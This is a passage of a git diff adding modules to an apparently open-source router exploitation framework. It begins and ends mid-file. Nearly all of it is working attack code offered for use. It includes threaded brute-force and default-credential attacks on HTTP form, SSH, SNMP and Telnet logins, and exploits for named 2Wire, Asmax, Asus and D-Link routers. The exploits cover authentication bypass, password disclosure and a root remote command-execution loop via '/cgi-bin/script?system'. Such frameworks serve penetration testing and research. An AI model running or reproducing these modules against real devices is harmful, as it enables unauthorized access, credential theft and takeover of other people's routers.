requests.get(url, auth=(user, password)) + + if r.status_code != 401: + running.clear() + print_success("{}: Authentication succeed!".format(name), user, password) + self.credentials.append((user, password)) + else: + print_error(name, "Authentication Failed - Username: '{}' Password: '{}'".format(user, password)) + except StopIteration: + break + + print_status(name, 'process is terminated.') diff --git a/routersploit/modules/creds/http_form_bruteforce.py b/routersploit/modules/creds/http_form_bruteforce.py new file mode 100644 index 000000000..359aede01 --- /dev/null +++ b/routersploit/modules/creds/http_form_bruteforce.py @@ -0,0 +1,156 @@ +import threading +import requests +import itertools +from bs4 import BeautifulSoup + +from routersploit import * + + +class Exploit(exploits.Exploit): + """ + Module performs bruteforce attack against HTTP form service. + If valid credentials are found, they are displayed to the user. + """ + __info__ = { + 'name': 'HTTP Form Bruteforce', + 'author': [ + 'Marcin Bury ' # routersploit module + ] + } + + target = exploits.Option('', 'Target address e.g. http://192.168.1.1') + port = exploits.Option(80, 'Target port') + threads = exploits.Option(8, 'Number of threads') + usernames = exploits.Option('admin', 'Username or file with usernames (file://)') + passwords = exploits.Option(wordlists.passwords, 'Password or file with passwords (file://)') + form = exploits.Option('auto', 'Post Data: auto or in form login={{LOGIN}}&password={{PASS}}&submit') + path = exploits.Option('/login.php', 'URL Path') + + credentials = [] + data = "" + invalid = {"min": 0, "max": 0} + + def run(self): + print_status("Running module...") + + self.credentials = [] + url = sanitize_url("{}:{}{}".format(self.target, self.port, self.path)) + + try: + r = requests.get(url) + except (requests.exceptions.MissingSchema, requests.exceptions.InvalidSchema): + print_error("Invalid URL format: %s" % url) + return + except requests.exceptions.ConnectionError: + print_error("Connection error: %s" % url) + return + + # authentication type + if self.form == 'auto': + self.data = self.detect_form() + + if self.data == None: + print_error("Could not detect form") + return + else: + self.data = self.form + + print_status("Using following data: ", self.data) + + # invalid authentication + self.invalid_auth() + + # running threads + if self.usernames.startswith('file://'): + usernames = open(self.usernames[7:], 'r') + else: + usernames = [self.usernames] + + if self.passwords.startswith('file://'): + passwords = open(self.passwords[7:], 'r') + else: + passwords = [self.passwords] + + collection = LockedIterator(itertools.product(usernames, passwords)) + self.run_threads(self.threads, self.target_function, collection) + + if len(self.credentials): + print_success("Credentials found!") + headers = ("Login", "Password") + print_table(headers, *self.credentials) + else: + print_error("Credentials not found") + + def invalid_auth(self): + for i in range(0, 21, 5): + url = sanitize_url("{}:{}{}".format(self.target, self.port, self.path)) + headers = {u'Content-Type': u'application/x-www-form-urlencoded'} + + user = "A" * i + password = "A" * i + + postdata = self.data.replace("{{USER}}", user).replace("{{PASS}}", password) + r = requests.post(url, headers=headers, data=postdata) + l = len(r.text) + + if i == 0: + self.invalid = {"min": l, "max": l} + + if l < self.invalid["min"]: + self.invalid["min"] = l + elif l > self.invalid["max"]: + self.invalid["max"] = l + + def detect_form(self): + url = sanitize_url("{}:{}{}".format(self.target, self.port, self.path)) + r = requests.get(url) + soup = BeautifulSoup(r.text, "lxml") + + form = soup.find("form") + + if form == None: + return None + + if len(form) > 0: + res = [] + for inp in form.findAll("input"): + if 'name' in inp.attrs.keys(): + if inp.attrs['name'].lower() in ["username", "user", "login"]: + res.append(inp.attrs['name']+"="+"{{USER}}") + elif inp.attrs['name'].lower() in ["password", "pass"]: + res.append(inp.attrs['name']+"="+"{{PASS}}") + else: + if 'value' in inp.attrs.keys(): + res.append(inp.attrs['name']+"="+inp.attrs['value']) + else: + res.append(inp.attrs['name']+"=") + return '&'.join(res) + + def target_function(self, running, data): + name = threading.current_thread().name + url = sanitize_url("{}:{}{}".format(self.target, self.port, self.path)) + headers = {u'Content-Type': u'application/x-www-form-urlencoded'} + + print_status(name, 'process is starting...') + + while running.is_set(): + try: + user, password = data.next() + user = user.strip() + password = password.strip() + + postdata = self.data.replace("{{USER}}", user).replace("{{PASS}}", password) + r = requests.post(url, headers=headers, data=postdata) + l = len(r.text) + + if l < self.invalid["min"] or l > self.invalid["max"]: + running.clear() + print_success("{}: Authentication succeed!".format(name), user, password) + self.credentials.append((user, password)) + else: + print_error(name, "Authentication Failed - Username: '{}' Password: '{}'".format(user, password)) + except StopIteration: + break + + print_status(name, 'process is terminated.') + diff --git a/routersploit/modules/creds/http_form_default.py b/routersploit/modules/creds/http_form_default.py new file mode 100644 index 000000000..78ce56ce0 --- /dev/null +++ b/routersploit/modules/creds/http_form_default.py @@ -0,0 +1,149 @@ +import threading +import requests +from bs4 import BeautifulSoup + +from routersploit import * + + +class Exploit(exploits.Exploit): + """ + Module performs dictionary attack with default credentials against HTTP form service. + If valid credentials are found, they are displayed to the user. + """ + __info__ = { + 'name': 'HTTP Form Default Creds', + 'author': [ + 'Marcin Bury ' # routersploit module + ] + } + + target = exploits.Option('', 'Target address e.g. http://192.168.1.1') + port = exploits.Option(80, 'Target port') + threads = exploits.Option(8, 'Number of threads') + defaults = exploits.Option(wordlists.defaults, 'User:Pass or file with default credentials (file://)') + form = exploits.Option('auto', 'Post Data: auto or in form login={{LOGIN}}&password={{PASS}}&submit') + path = exploits.Option('/login.php', 'URL Path') + + credentials = [] + data = "" + invalid = {"min": 0, "max": 0} + + def run(self): + print_status("Running module...") + + self.credentials = [] + url = sanitize_url("{}:{}{}".format(self.target, self.port, self.path)) + + try: + r = requests.get(url) + except (requests.exceptions.MissingSchema, requests.exceptions.InvalidSchema): + print_error("Invalid URL format: %s" % url) + return + except requests.exceptions.ConnectionError: + print_error("Connection error: %s" % url) + return + + # authentication type + if self.form == 'auto': + self.data = self.detect_form() + + if self.data == None: + print_error("Could not detect form") + return + else: + self.data = self.form + + print_status("Using following data: ", self.data) + + # invalid authentication + self.invalid_auth() + + # running threads + if self.defaults.startswith('file://'): + defaults = open(self.defaults[7:], 'r') + else: + defaults = [self.defaults] + + collection = LockedIterator(defaults) + self.run_threads(self.threads, self.target_function, collection) + + if len(self.credentials): + print_success("Credentials found!") + headers = ("Login", "Password") + print_table(headers, *self.credentials) + else: + print_error("Credentials not found") + + def invalid_auth(self): + for i in range(0, 21, 5): + url = sanitize_url("{}:{}{}".format(self.target, self.port, self.path)) + headers = {u'Content-Type': u'application/x-www-form-urlencoded'} + + user = "A" * i + password = "A" * i + + postdata = self.data.replace("{{USER}}", user).replace("{{PASS}}", password) + r = requests.post(url, headers=headers, data=postdata) + l = len(r.text) + + if i == 0: + self.invalid = {"min": l, "max": l} + + if l < self.invalid["min"]: + self.invalid["min"] = l + elif l > self.invalid["max"]: + self.invalid["max"] = l + + def detect_form(self): + url = sanitize_url("{}:{}{}".format(self.target, self.port, self.path)) + r = requests.get(url) + soup = BeautifulSoup(r.text, "lxml") + + form = soup.find("form") + + if form == None: + return None + + if len(form) > 0: + res = [] + for inp in form.findAll("input"): + if 'name' in inp.attrs.keys(): + if inp.attrs['name'].lower() in ["username", "user", "login"]: + res.append(inp.attrs['name']+"="+"{{USER}}") + elif inp.attrs['name'].lower() in ["password", "pass"]: + res.append(inp.attrs['name']+"="+"{{PASS}}") + else: + if 'value' in inp.attrs.keys(): + res.append(inp.attrs['name']+"="+inp.attrs['value']) + else: + res.append(inp.attrs['name']+"=") + return '&'.join(res) + + def target_function(self, running, data): + name = threading.current_thread().name + url = sanitize_url("{}:{}{}".format(self.target, self.port, self.path)) + headers = {u'Content-Type': u'application/x-www-form-urlencoded'} + + print_status(name, 'process is starting...') + + while running.is_set(): + try: + line = data.next().split(":") + user = line[0].strip() + password = line[1].strip() + + postdata = self.data.replace("{{USER}}", user).replace("{{PASS}}", password) + r = requests.post(url, headers=headers, data=postdata) + l = len(r.text) + + if l < self.invalid["min"] or l > self.invalid["max"]: + running.clear() + print_success("{}: Authentication succeed!".format(name), user, password) + self.credentials.append((user, password)) + else: + print_error(name, "Authentication Failed - Username: '{}' Password: '{}'".format(user, password)) + except StopIteration: + break + + print_status(name, 'process is terminated.') + diff --git a/routersploit/modules/creds/snmp_bruteforce.py b/routersploit/modules/creds/snmp_bruteforce.py new file mode 100644 index 000000000..42f998002 --- /dev/null +++ b/routersploit/modules/creds/snmp_bruteforce.py @@ -0,0 +1,72 @@ +import threading +import itertools +import netsnmp +import socket + +from routersploit.utils import print_status, print_success, print_error, print_table, LockedIterator +from routersploit import exploits +from routersploit import wordlists + + +class Exploit(exploits.Exploit): + """ + Module performs bruteforce attack against SNMP service. + If valid community string is found, it is displayed to the user. + """ + __info__ = { + 'name': 'SNMP Bruteforce', + 'author': 'Marcin Bury ' # routersploit module + } + + target = exploits.Option('', 'Target IP address') + port = exploits.Option(161, 'Target port') + threads = exploits.Option(8, 'Number of threads') + snmp = exploits.Option(wordlists.snmp, 'Community string or file with community strings (file://)') + + strings = [] + + def run(self): + self.strings= [] + print_status("Running module...") + + # todo: check if service is up + + if self.snmp.startswith('file://'): + snmp = open(self.snmp[7:], 'r') + else: + snmp = [self.snmp] + + collection = LockedIterator(snmp) + self.run_threads(self.threads, self.target_function, collection) + + if len(self.strings): + print_success("Credentials found!") + headers = tuple(["Community Strings"]) + print_table(headers, *self.strings) + else: + print_error("Valid community strings not found") + + def target_function(self, running, data): + name = threading.current_thread().name + address = "{}:{}".format(self.target, self.port) + + print_status(name, 'thread is starting...') + + while running.is_set(): + try: + string = data.next().strip() + + bindvariable = netsnmp.Varbind(".1.3.6.1.2.1.1.1.0") + res = netsnmp.snmpget(bindvariable, Version = 1, DestHost = address, Community=string) + + if res[0] != None: + running.clear() + print_success("{}: Valid community string found!".format(name), string) + self.strings.append(tuple([string])) + else: + print_error("{}: Invalid community string.".format(name), string) + + except StopIteration: + break + + print_status(name, 'thread is terminated.') diff --git a/routersploit/modules/creds/ssh_bruteforce.py b/routersploit/modules/creds/ssh_bruteforce.py new file mode 100644 index 000000000..a41cde2b0 --- /dev/null +++ b/routersploit/modules/creds/ssh_bruteforce.py @@ -0,0 +1,87 @@ +import threading +import itertools +import socket +import paramiko + +from routersploit import * + + +class Exploit(exploits.Exploit): + """ + Module performs bruteforce attack against SSH service. + If valid credentials are found, they are displayed to the user. + """ + __info__ = { + 'name': 'SSH Bruteforce', + 'author': 'Marcin Bury ' # routersploit module + } + + target = exploits.Option('', 'Target IP address') + port = exploits.Option(22, 'Target port') + + threads = exploits.Option(8, 'Number of threads') + usernames = exploits.Option('admin', 'Username or file with usernames (file://)') + passwords = exploits.Option(wordlists.passwords, 'Password or file with passwords (file://)') + + credentials = [] + + def run(self): + self.credentials = [] + print_status("Running module...") + ssh = paramiko.SSHClient() + + try: + ssh.connect(self.target, port=self.port) + except socket.error: + print_error("Connection error: %s:%s" % (self.target, str(self.port))) + ssh.close() + return + except: + pass + + ssh.close() + + if self.usernames.startswith('file://'): + usernames = open(self.usernames[7:], 'r') + else: + usernames = [self.usernames] + + if self.passwords.startswith('file://'): + passwords = open(self.passwords[7:], 'r') + else: + passwords = [self.passwords] + + collection = LockedIterator(itertools.product(usernames, passwords)) + self.run_threads(self.threads, self.target_function, collection) + + if len(self.credentials): + print_success("Credentials found!") + headers = ("Login", "Password") + print_table(headers, *self.credentials) + else: + print_error("Credentials not found") + + def target_function(self, running, data): + name = threading.current_thread().name + ssh = paramiko.SSHClient() + ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) + + print_status(name, 'thread is starting...') + + while running.is_set(): + try: + user, password = data.next() + user = user.strip() + password = password.strip() + ssh.connect(self.target, int(self.port), timeout=5, username=user, password=password) + except StopIteration: + break + except paramiko.ssh_exception.SSHException as err: + ssh.close() + print_error(name, err, user, password) + else: + running.clear() + print_success("{}: Authentication succeed!".format(name), user, password) + self.credentials.append((user, password)) + + print_status(name, 'thread is terminated.') diff --git a/routersploit/modules/creds/ssh_default.py b/routersploit/modules/creds/ssh_default.py new file mode 100644 index 000000000..c6b128622 --- /dev/null +++ b/routersploit/modules/creds/ssh_default.py @@ -0,0 +1,81 @@ +import threading +import paramiko +import socket + +from routersploit import * + + +class Exploit(exploits.Exploit): + """ + Module perform dictionary attack with default credentials against SSH service. + If valid credentials are found, they are displayed to the user. + """ + __info__ = { + 'name': 'SSH Default Creds', + 'author': [ + 'Marcin Bury ' # routersploit module + ] + } + + target = exploits.Option('', 'Target IP address') + port = exploits.Option(22, 'Target port') + threads = exploits.Option(8, 'Numbers of threads') + defaults = exploits.Option(wordlists.defaults, 'User:Pass or file with default credentials (file://)') + + credentials = [] + + def run(self): + self.credentials = [] + print_status("Running module...") + ssh = paramiko.SSHClient() + + try: + ssh.connect(self.target, port=self.port) + except socket.error: + print_error("Connection error: %s:%s" % (self.target, str(self.port))) + ssh.close() + return + except: + pass + + ssh.close() + + if self.defaults.startswith('file://'): + defaults = open(self.defaults[7:], 'r') + else: + defaults = [self.defaults] + + collection = LockedIterator(defaults) + self.run_threads(self.threads, self.target_function, collection) + + if len(self.credentials): + print_success("Credentials found!") + headers = ("Login", "Password") + print_table(headers, *self.credentials) + else: + print_error("Credentials not found") + + def target_function(self, running, data): + name = threading.current_thread().name + ssh = paramiko.SSHClient() + ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) + + print_status(name, 'process is starting...') + + while running.is_set(): + try: + line = data.next().split(":") + user = line[0].strip() + password = line[1].strip() + ssh.connect(self.target, int(self.port), timeout=5, username=user, password=password) + except StopIteration: + break + except paramiko.ssh_exception.SSHException as err: + ssh.close() + print_error(name, err,"Username: '{}' Password: '{}'".format(user, password)) + else: + running.clear() + print_success("{}: Authentication succeed!".format(name), user, password) + self.credentials.append((user, password)) + + print_status(name, 'process is terminated.') diff --git a/routersploit/modules/creds/telnet_bruteforce.py b/routersploit/modules/creds/telnet_bruteforce.py new file mode 100644 index 000000000..8e2f7a874 --- /dev/null +++ b/routersploit/modules/creds/telnet_bruteforce.py @@ -0,0 +1,104 @@ +import threading +import itertools +import telnetlib + +from routersploit import * + + +class Exploit(exploits.Exploit): + """ + Module performs bruteforce attack against Telnet service. + If valid credentials are found, they are displayed to the user. + """ + __info__ = { + 'name': 'Telnet Bruteforce', + 'author': 'Marcin Bury ' # routersploit module + } + + target = exploits.Option('', 'Target IP address') + port = exploits.Option(23, 'Target port') + + threads = exploits.Option(8, 'Number of threads') + usernames = exploits.Option('admin', 'Username or file with usernames (file://)') + passwords = exploits.Option(wordlists.passwords, 'Password or file with passwords (file://)') + + credentials = [] + + def run(self): + self.credentials = [] + print_status("Running module...") + + try: + tn = telnetlib.Telnet(self.target, self.port) + tn.expect(["login: ", "Login: "], 5) + tn.close() + except: + print_error("Connection error {}:{}".format(self.target, self.port)) + return + + if self.usernames.startswith('file://'): + usernames = open(self.usernames[7:], 'r') + else: + usernames = [self.usernames] + + if self.passwords.startswith('file://'): + passwords = open(self.passwords[7:], 'r') + else: + passwords = [self.passwords] + + collection = LockedIterator(itertools.product(usernames, passwords)) + self.run_threads(self.threads, self.target_function, collection) + + if len(self.credentials): + print_success("Credentials found!") + headers = ("Login", "Password") + print_table(headers, *self.credentials) + else: + print_error("Credentials not found") + + def target_function(self, running, data): + name = threading.current_thread().name + + print_status(name, 'thread is starting...') + + while running.is_set(): + try: + user, password = data.next() + user = user.strip() + password = password.strip() + except StopIteration: + break + else: + retries = 0 + while retries < 3: + try: + tn = telnetlib.Telnet(self.target, self.port) + tn.expect(["Login: ", "login: "], 5) + tn.write(user + "\r\n") + tn.expect(["Password: ", "password"], 5) + tn.write(password + "\r\n") + tn.write("\r\n") + + (i,obj,res) = tn.expect(["Incorrect", "incorrect"], 5) + tn.close() + + if i != -1: + print_error(name, "Username: '{}' Password: '{}'".format(user, password)) + else: + if any(map(lambda x: x in res, ["#", "$",">"])) or len(res) > 500: # big banner e.g. mikrotik + running.clear() + print_success("{}: Authentication succeed!".format(name), user, password) + self.credentials.append((user, password)) + tn.close() + break + except EOFError: + print_error(name, "Connection problem. Retrying...") + retries += 1 + + if retries > 2: + print_error("Too much connection problems. Quiting...") + return + continue + + + print_status(name, 'thread is terminated.') diff --git a/routersploit/modules/creds/telnet_default.py b/routersploit/modules/creds/telnet_default.py new file mode 100644 index 000000000..8eb347046 --- /dev/null +++ b/routersploit/modules/creds/telnet_default.py @@ -0,0 +1,97 @@ +import threading +import telnetlib + +from routersploit import * + + +class Exploit(exploits.Exploit): + """ + Module perform dictionary attack with default credentials against Telnet service. + If valid credentials are found, they are displayed to the user. + """ + __info__ = { + 'name': 'Telnet Default Creds', + 'author': [ + 'Marcin Bury ' # routersploit module + ] + } + + target = exploits.Option('', 'Target IP address') + port = exploits.Option(23, 'Target port') + + threads = exploits.Option(8, 'Numbers of threads') + defaults = exploits.Option(wordlists.defaults, 'User:Pass or file with default credentials (file://)') + + credentials = [] + + def run(self): + self.credentials = [] + print_status("Running module...") + + try: + tn = telnetlib.Telnet(self.target, self.port) + tn.expect(["login: ", "Login: "], 5) + tn.close() + except: + print_error("Connection error {}:{}".format(self.target, self.port)) + return + + if self.defaults.startswith('file://'): + defaults = open(self.defaults[7:], 'r') + else: + defaults = [self.defaults] + + collection = LockedIterator(defaults) + self.run_threads(self.threads, self.target_function, collection) + + if len(self.credentials): + print_success("Credentials found!") + headers = ("Login", "Password") + print_table(headers, *self.credentials) + else: + print_error("Credentials not found") + + def target_function(self, running, data): + name = threading.current_thread().name + print_status(name, 'process is starting...') + + while running.is_set(): + try: + line = data.next().split(":") + user = line[0].strip() + password = line[1].strip() + except StopIteration: + break + else: + retries = 0 + while retries < 3: + try: + tn = telnetlib.Telnet(self.target, self.port) + tn.expect(["Login: ", "login: "], 5) + tn.write(user + "\r\n") + tn.expect(["Password: ", "password"], 5) + tn.write(password + "\r\n") + tn.write("\r\n") + + (i,obj,res) = tn.expect(["Incorrect", "incorrect"], 5) + tn.close() + + if i != -1: + print_error(name, "Username: '{}' Password: '{}'".format(user, password)) + else: + if any(map(lambda x: x in res, ["#", "$",">"])) or len(res) > 500: # big banner e.g. mikrotik + running.clear() + print_success("{}: Authentication succeed!".format(name), user, password) + self.credentials.append((user, password)) + tn.close() + break + except EOFError: + print_error(name, "Connection problem. Retrying...") + retries += 1 + + if retries > 2: + print_error("Too much connection problems. Quiting...") + return + continue + + print_status(name, 'process is terminated.') diff --git a/routersploit/modules/exploits/2wire/__init__.py b/routersploit/modules/exploits/2wire/__init__.py new file mode 100644 index 000000000..e69de29bb diff --git a/routersploit/modules/exploits/2wire/gateway_auth_bypass.py b/routersploit/modules/exploits/2wire/gateway_auth_bypass.py new file mode 100644 index 000000000..ac05c58a9 --- /dev/null +++ b/routersploit/modules/exploits/2wire/gateway_auth_bypass.py @@ -0,0 +1,65 @@ +import requests +import re + +from routersploit import * + + +class Exploit(exploits.Exploit): + """ + Exploit implementation for 2Wire Gateway devices Authentication Bypass vulnerability. + If the target is vulnerable link to bypass authentication is provided" + """ + __info__ = { + 'name': '2Wire Gateway Auth Bypass', + 'description': 'Module exploits 2Wire Gateway authentication bypass vulnerability. If the target is vulnerable link to bypass authentication is provided.', + 'authors': [ + 'bugz', # vulnerability discovery + 'Marcin Bury ', # routersploit module + ], + 'references': [ + 'https://www.exploit-db.com/exploits/9459/', + ], + 'targets': [ + '2Wire 2701HGV-W', + '2Wire 3800HGV-B', + '2Wire 3801HGV', + ] + } + + target = exploits.Option('', 'Target address e.g. http://192.168.1.1') # target address + port = exploits.Option(80, 'Target port') # default port + + def run(self): + if self.check(): + print_success("Target is vulnerable") + print "\nUse your browser:" + print "{}:{}/xslt".format(self.target, self.port) + else: + print_error("Target seems to be not vulnerable") + + def check(self): + # check if it is valid target + url = sanitize_url("{}:{}/".format(self.target, self.port)) + + try: + r = requests.get(url, verify=False) + res = r.text + except: + return None + + if '
' not in res: + return False + + # checking if authentication can be baypassed + url = sanitize_url("{}:{}/xslt".format(self.target, self.port)) + try: + r = requests.get(url, verify=False) + res = r.text + except: + return None + + if '' not in res: + return True # target vulnerable + + return False # target not vulnerable + diff --git a/routersploit/modules/exploits/__init__.py b/routersploit/modules/exploits/__init__.py new file mode 100644 index 000000000..e69de29bb diff --git a/routersploit/modules/exploits/asmax/__init__.py b/routersploit/modules/exploits/asmax/__init__.py new file mode 100644 index 000000000..e69de29bb diff --git a/routersploit/modules/exploits/asmax/ar_1004g_password_disclosure.py b/routersploit/modules/exploits/asmax/ar_1004g_password_disclosure.py new file mode 100644 index 000000000..c54b75d0a --- /dev/null +++ b/routersploit/modules/exploits/asmax/ar_1004g_password_disclosure.py @@ -0,0 +1,75 @@ +import requests +import re + +from routersploit import * + + +class Exploit(exploits.Exploit): + """ + Exploit implementation for Asmax AR1004G Password Disclosure vulnerability. + If the target is vulnerable it allows to read credentials for admin, support and user." + """ + __info__ = { + 'name': 'Asmax AR1004G Password Disclosure', + 'description': 'Exploits asmax password disclosure vulnerability that allows to fetch credentials for: Admin, Support and User accounts.', + 'author': 'Marcin Bury ', # routersploit module + 'references': [ + 'https://github.com/lucyoa/exploits/blob/master/asmax/asmax.txt' + ], + 'targets': [ + 'Asmax AR 1004g' + ] + } + + target = exploits.Option('', 'Target address e.g. http://192.168.1.1') # target address + port = exploits.Option(80, 'Target port') # default port + + def run(self): + url = sanitize_url("{}:{}/password.cgi".format(self.target, self.port)) + + print_status("Requesting for {}".format(url)) + try: + r = requests.get(url) + res = r.text + except (requests.exceptions.MissingSchema, requests.exceptions.InvalidSchema): + print_error("Invalid URL format: %s" % url) + return + except requests.exceptions.ConnectionError: + print_error("Connection error: %s" % url) + return + + creds = [] + admin = re.findall("pwdAdmin = '(.+?)'", res) + if len(admin): + creds.append(('Admin', admin[0])) + + support = re.findall("pwdSupport = '(.+?)'", res) + if len(support): + creds.append(('Support', support[0])) + + user = re.findall("pwdUser = '(.+?)'", res) + if len(user): + creds.append(('User', user[0])) + + if len(creds): + print_success("Credentials found!") + headers = ("Login", "Password") + print_table(headers, *creds) + else: + print_error("Credentials could not be found") + + + def check(self): + url = sanitize_url("{}:{}/password.cgi".format(self.target, self.port)) + + try: + r = requests.get(url) + res = r.text + except: + return None # could not be verified + + if any(map(lambda x: x in res, ["pwdSupport", "pwdUser", "pwdAdmin"])): + return True # target vulnerable + + return False # target not vulnerable + diff --git a/routersploit/modules/exploits/asmax/ar_804_gu_rce.py b/routersploit/modules/exploits/asmax/ar_804_gu_rce.py new file mode 100644 index 000000000..639da5e10 --- /dev/null +++ b/routersploit/modules/exploits/asmax/ar_804_gu_rce.py @@ -0,0 +1,68 @@ +import requests + +from routersploit import * + + +class Exploit(exploits.Exploit): + """ + Exploit implementation for Asmax AR 804 Remote Code Execution vulnerability. + If the target is vulnerable, command loop is invoked that allows executing commands with root privileges. + """ + __info__ = { + 'name': 'Asmax AR 804 RCE', + 'authors': [ + 'Michal Sajdak ', # vulnerability discovery + 'Marcin Bury ', # routersploit module + ], + 'description': 'Module exploits Asmax AR 804 Remote Code Execution vulnerability which allows executing command on operating system level with root privileges.', + 'references': [ + 'http://www.securitum.pl/dh/asmax-ar-804-gu-compromise' + ], + 'targets': [ + 'Asmax AR 804 gu' + ] + } + + target = exploits.Option('', 'Target address e.g. http://192.168.1.1') + port = exploits.Option(80, 'Target Port') + + def run(self): + if self.check() == True: + print_success("Target is vulnerable") + print_status("Invoking command loop...") + self.command_loop() + else: + print_error("Target is not vulnerable") + + def command_loop(self): + while 1: + cmd = raw_input("cmd > ") + print self.execute(cmd) + + def execute(self, cmd): + url = sanitize_url("{}:{}/cgi-bin/script?system%20{}".format(self.target, self.port, cmd)) + + try: + r = requests.get(url) + except requests.exceptions.MissingSchema: + return "Invalid URL format: %s" % url + except requests.exceptions.ConnectionError: + return "Connection error: %s" % url + + return r.text + + def check(self): + cmd = "id" + url = sanitize_url("{}:{}/cgi-bin/script?system%20{}".format(self.target, self.port, cmd)) + + try: + r = requests.get(url) + res = r.text + except: + return None + + if "uid" in res: + return True + + return False + diff --git a/routersploit/modules/exploits/asus/__init__.py b/routersploit/modules/exploits/asus/__init__.py new file mode 100644 index 000000000..e69de29bb diff --git a/routersploit/modules/exploits/asus/rt_n16_password_disclosure.py b/routersploit/modules/exploits/asus/rt_n16_password_disclosure.py new file mode 100644 index 000000000..08d8c19ba --- /dev/null +++ b/routersploit/modules/exploits/asus/rt_n16_password_disclosure.py @@ -0,0 +1,74 @@ +import requests +import re + +from routersploit import * + + +class Exploit(exploits.Exploit): + """ + Exploit implementation for Asus RT-N16 Password Disclosure vulnerability. + If the target is vulnerable it allows to read credentials for administrator." + """ + __info__ = { + 'name': 'Asus RT-N16 Password Disclosure', + 'description': 'Module exploits password disclosure vulnerability in Asus RT-N16 devices that allows to fetch credentials for the device.', + 'authors': [ + 'Harry Sintonen', # vulnerability discovery + 'Marcin Bury ', # routersploit module + ], + 'references': [ + 'https://sintonen.fi/advisories/asus-router-auth-bypass.txt' + ], + 'targets': [ + 'ASUS RT-N10U, firmware 3.0.0.4.374_168', + 'ASUS RT-N56U, firmware 3.0.0.4.374_979', + 'ASUS DSL-N55U, firmware 3.0.0.4.374_1397', + 'ASUS RT-AC66U, firmware 3.0.0.4.374_2050', + 'ASUS RT-N15U, firmware 3.0.0.4.374_16', + 'ASUS RT-N53, firmware 3.0.0.4.374_311', + ] + + } + + target = exploits.Option('', 'Target address e.g. http://192.168.1.1') # target address + port = exploits.Option(8080, 'Target port') # default port + + def run(self): + url = sanitize_url("{}:{}/error_page.htm".format(self.target, self.port)) + + try: + r = requests.get(url) + res = r.text + except (requests.exceptions.MissingSchema, requests.exceptions.InvalidSchema): + print_error("Invalid URL format: %s" % url) + return + except requests.exceptions.ConnectionError: + print_error("Connection error: %s" % url) + return + + creds = re.findall("if\('1' == '0' \|\| '(.+?)' == 'admin'\)", res) + + if len(creds): + c = [("admin", creds[0])] + print_success("Credentials found!") + headers = ("Login", "Password") + print_table(headers, *c) + else: + print_error("Credentials could not be found") + + + def check(self): + url = sanitize_url("{}:{}/error_page.htm".format(self.target, self.port)) + + try: + r = requests.get(url) + res = r.text + except: + return None # could not be verified + + creds = re.findall("if\('1' == '0' \|\| '(.+?)' == 'admin'\)", res) + if len(creds): + return True # target vulnerable + + return False # target not vulnerable + diff --git a/routersploit/modules/exploits/dlink/__init__.py b/routersploit/modules/exploits/dlink/__init__.py new file mode 100644 index 000000000..e69de29bb diff --git a/routersploit/modules/exploits/dlink/dir_300_320_615_auth_bypass.py b/routersploit/modules/exploits/dlink/dir_300_320_615_auth_bypass.py new file mode 100644 index 000000000..7461da84c --- /dev/null +++ b/routersploit/modules/exploits/dlink/dir_300_320_615_auth_bypass.py @@ -0,0 +1,67 @@ +import requests +import re + +from routersploit import * + + +class Exploit(exploits.Exploit): + """ + Exploit implementation for D-Link DIR-300, DIR-320, DIR-615 Authentication Bypass vulnerability. + If the target is vulnerable link to bypass authentication will be provided" + """ + __info__ = { + 'name': 'D-Link DIR-300 & DIR-320 & DIR-615 Auth Bypass', + 'description': 'Module exploits authentication bypass vulnerability in D-Link DIR-300, DIR-320, DIR-615 revD devices. It is possible to access administration panel without providing password.', + 'authors': [ + 'Craig Heffner', # vulnerability discovery + 'Karol Celin', # vulnerability discovery + 'Marcin Bury ', # routersploit module + ], + 'references': [ + 'http://www.devttys0.com/wp-content/uploads/2010/12/dlink_php_vulnerability.pdf', + ], + 'targets': [ + 'D-Link DIR-300', + 'D-Link DIR-600', + 'D-Link DIR-615 revD', + ] + } + + target = exploits.Option('', 'Target address e.g. http://192.168.1.1') # target address + port = exploits.Option(80, 'Target port') # default port + + def run(self): + if self.check(): + print_success("Target is vulnerable") + print "\nYou need to add NO_NEED_AUTH=1&AUTH_GROUP=0 to query string for every action." + print "\nExamples:" + print "{}:{}/bsc_lan.php?NO_NEED_AUTH=1&AUTH_GROUP=0".format(self.target, self.port) + print "{}:{}/bsc_wlan.php?NO_NEED_AUTH=1&AUTH_GROUP=0\n".format(self.target, self.port) + else: + print_error("Target seems to be not vulnerable") + + def check(self): + # check if it is valid target + url = sanitize_url("{}:{}/bsc_lan.php".format(self.target, self.port)) + try: + r = requests.get(url) + res = r.text + except: + return None # could not be verified + + if '' not in res: + return False + + # checking if authentication can be baypassed + url = sanitize_url("{}:{}/bsc_lan.php?NO_NEED_AUTH=1&AUTH_GROUP=0".format(self.target, self.port)) + try: + r = requests.get(url) + res = r.text + except: + return None # could not be verified + + if '' not in res: + return True # target vulnerable + + return False # target not vulnerable + diff --git a/routersploit/modules/exploits/dlink/dir_300_600_615_info_disclosure.py b/routersploit/modules/exploits/dlink/dir_300_600_615_info_disclosure.py new file mode 100644 index 000000000..acdddb8c4 --- /dev/null +++ b/routersploit/modules/exploits/dlink/dir_300_600_615_info_disclosure.py @@ -0,0 +1,70 @@ +import requests +import re + +from routersploit import * + + +class Exploit(exploits.Exploit): + """ + Exploit implementation for D-Link DIR-300, DIR-600, DIR-615 Information Disclosure vulnerability. + If the target is vulnerable it allows to read credentials for administrator." + """ + __info__ = { + 'name': 'D-Link DIR-300 & DIR-600 & DIR-615 Info Disclosure', + 'description': 'Module explois information disclosure vulnerability in D-Link DIR-300, DIR-600, DIR-615 devices. It is possible to retrieve sensitive information such as credentials.', + 'authors': [ + 'tytusromekiatomek ', # vulnerability discovery + 'Marcin Bury ', # routersploit module + ], + 'references': [ + 'http://seclists.org/bugtraq/2013/Dec/11' + ], + 'targets': [ + 'D-Link DIR-300 (all)', + 'D-Link DIR-600 (all)', + 'D-Link DIR-615 (fw 4.0)', + ] + } + + target = exploits.Option('', 'Target address e.g. http://192.168.1.1') # target address + port = exploits.Option(80, 'Target port') # default port + + def run(self): + url = sanitize_url("{}:{}/model/__show_info.php?REQUIRE_FILE=/var/etc/httpasswd".format(self.target, self.port)) + + try: + r = requests.get(url) + res = r.text + except (requests.exceptions.MissingSchema, requests.exceptions.InvalidSchema): + print_error("Invalid URL format: %s" % url) + return + except requests.exceptions.ConnectionError: + print_error("Connection error: %s" % url) + return + + creds = re.findall("
